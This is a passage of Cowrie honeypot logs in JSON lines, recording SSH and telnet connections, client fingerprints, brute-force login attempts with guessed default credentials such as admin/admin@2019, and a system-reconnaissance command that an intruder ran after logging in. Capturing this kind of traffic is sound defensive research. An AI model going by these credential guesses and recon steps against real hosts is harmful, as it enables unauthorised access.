2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:44.567860Z","src_ip":"159.203.92.129","session":"3d00749abb20","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2018","message":"login attempt [admin/admin@2018] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:44.578351Z","src_ip":"159.203.92.129","session":"3d00749abb20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:44.619357Z","src_ip":"159.203.92.129","session":"3d00749abb20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:44.622863Z","src_ip":"159.203.92.129","session":"3d00749abb20","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:44.627272Z","src_ip":"159.203.92.129","session":"3d00749abb20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:44.639040Z","src_ip":"159.203.92.129","session":"3d00749abb20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:44.644647Z","src_ip":"159.203.92.129","session":"3d00749abb20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.245.237.191","src_port":8934,"dst_ip":"159.203.135.109","dst_port":23,"session":"584630258a11","protocol":"telnet","message":"New connection: 105.245.237.191:8934 (159.203.135.109:23) [session: 584630258a11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:47.725586Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":34916,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb594393b9b3","protocol":"ssh","message":"New connection: 74.91.224.229:34916 (10.17.0.5:22) [session: bb594393b9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:54.432616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:54.437360Z","src_ip":"74.91.224.229","session":"bb594393b9b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:54.676838Z","src_ip":"74.91.224.229","session":"bb594393b9b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"robert","password":"admin","message":"login attempt [robert/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:55.667452Z","src_ip":"74.91.224.229","session":"bb594393b9b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:56.909771Z","src_ip":"74.91.224.229","session":"bb594393b9b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.215516090393066,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:00.940992Z","src_ip":"105.245.237.191","session":"584630258a11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42254,"dst_ip":"159.203.135.109","dst_port":22,"session":"a278ff41ab3e","protocol":"ssh","message":"New connection: 159.203.92.129:42254 (159.203.135.109:22) [session: a278ff41ab3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:28.603616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:28.608306Z","src_ip":"159.203.92.129","session":"a278ff41ab3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:28.612891Z","src_ip":"159.203.92.129","session":"a278ff41ab3e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2019","message":"login attempt [admin/admin@2019] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:28.623372Z","src_ip":"159.203.92.129","session":"a278ff41ab3e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:28.668965Z","src_ip":"159.203.92.129","session":"a278ff41ab3e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:28.673171Z","src_ip":"159.203.92.129","session":"a278ff41ab3e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:28.678259Z","src_ip":"159.203.92.129","session":"a278ff41ab3e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:28.692368Z","src_ip":"159.203.92.129","session":"a278ff41ab3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:28.700091Z","src_ip":"159.203.92.129","session":"a278ff41ab3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":35320,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bf035c1453b","protocol":"ssh","message":"New connection: 74.91.200.154:35320 (10.17.0.5:22) [session: 0bf035c1453b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:44.411250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:44.416042Z","src_ip":"74.91.200.154","session":"0bf035c1453b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:44.628416Z","src_ip":"74.91.200.154","session":"0bf035c1453b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"robert","password":"admin","message":"login attempt [robert/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:45.519166Z","src_ip":"74.91.200.154","session":"0bf035c1453b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:46.735005Z","src_ip":"74.91.200.154","session":"0bf035c1453b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":51870,"dst_ip":"10.17.0.5","dst_port":22,"session":"c66df212e5fd","protocol":"ssh","message":"New connection: 74.91.224.229:51870 (10.17.0.5:22) [session: c66df212e5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:53.131737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:53.135462Z","src_ip":"74.91.224.229","session":"c66df212e5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:53.375242Z","src_ip":"74.91.224.229","session":"c66df212e5fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"102030","message":"login attempt [deploy/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:54.360871Z","src_ip":"74.91.224.229","session":"c66df212e5fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:23:55.601726Z","src_ip":"74.91.224.229","session":"c66df212e5fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42268,"dst_ip":"159.203.135.109","dst_port":22,"session":"5beb223d67dd","protocol":"ssh","message":"New connection: 159.203.92.129:42268 (159.203.135.109:22) [session: 5beb223d67dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:10.507424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:10.512368Z","src_ip":"159.203.92.129","session":"5beb223d67dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:10.516732Z","src_ip":"159.203.92.129","session":"5beb223d67dd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2020","message":"login attempt [admin/admin@2020] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:10.527426Z","src_ip":"159.203.92.129","session":"5beb223d67dd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:10.574727Z","src_ip":"159.203.92.129","session":"5beb223d67dd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:10.577660Z","src_ip":"159.203.92.129","session":"5beb223d67dd","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:10.581483Z","src_ip":"159.203.92.129","session":"5beb223d67dd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:10.592082Z","src_ip":"159.203.92.129","session":"5beb223d67dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:10.597213Z","src_ip":"159.203.92.129","session":"5beb223d67dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.68.22.252","src_port":32082,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cd2560af58f","protocol":"telnet","message":"New connection: 118.68.22.252:32082 (159.203.135.109:23) [session: 7cd2560af58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:28.182358Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.252.125.29","src_port":39806,"dst_ip":"159.203.135.109","dst_port":23,"session":"05d2388c4b6e","protocol":"telnet","message":"New connection: 138.252.125.29:39806 (159.203.135.109:23) [session: 05d2388c4b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:43.195698Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":40248,"dst_ip":"10.17.0.5","dst_port":22,"session":"acc47f347d1e","protocol":"ssh","message":"New connection: 74.91.200.154:40248 (10.17.0.5:22) [session: acc47f347d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:50.022244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:24:50.027145Z","src_ip":"74.91.200.154","session":"acc47f347d1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh